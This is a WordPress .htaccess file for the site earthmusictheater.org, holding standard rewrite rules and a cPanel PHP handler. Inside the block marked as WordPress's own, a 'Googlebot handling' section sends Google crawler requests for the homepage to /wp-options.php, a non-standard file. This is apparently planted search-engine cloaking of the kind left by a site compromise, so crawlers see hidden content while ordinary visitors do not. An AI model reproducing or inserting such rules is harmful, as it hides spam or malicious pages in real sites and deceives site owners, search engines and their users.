# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
 
# --- Googlebot handling ---
# Detect Google crawlers
RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|APIs-Google) [NC]
# Redirect Googlebot hitting the homepage
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ /wp-options.php [L]
 
# --- Default WordPress rules ---
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

RewriteEngine on

RewriteOptions inherit
RewriteCond %{HTTP_HOST} ^earthmusictheater.org$ [OR]
RewriteCond %{HTTP_HOST} ^www.earthmusictheater.org$
RewriteRule ^/?$ "http://www.earthmusictheater.org/" [R=301,L]

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php81” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81 .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
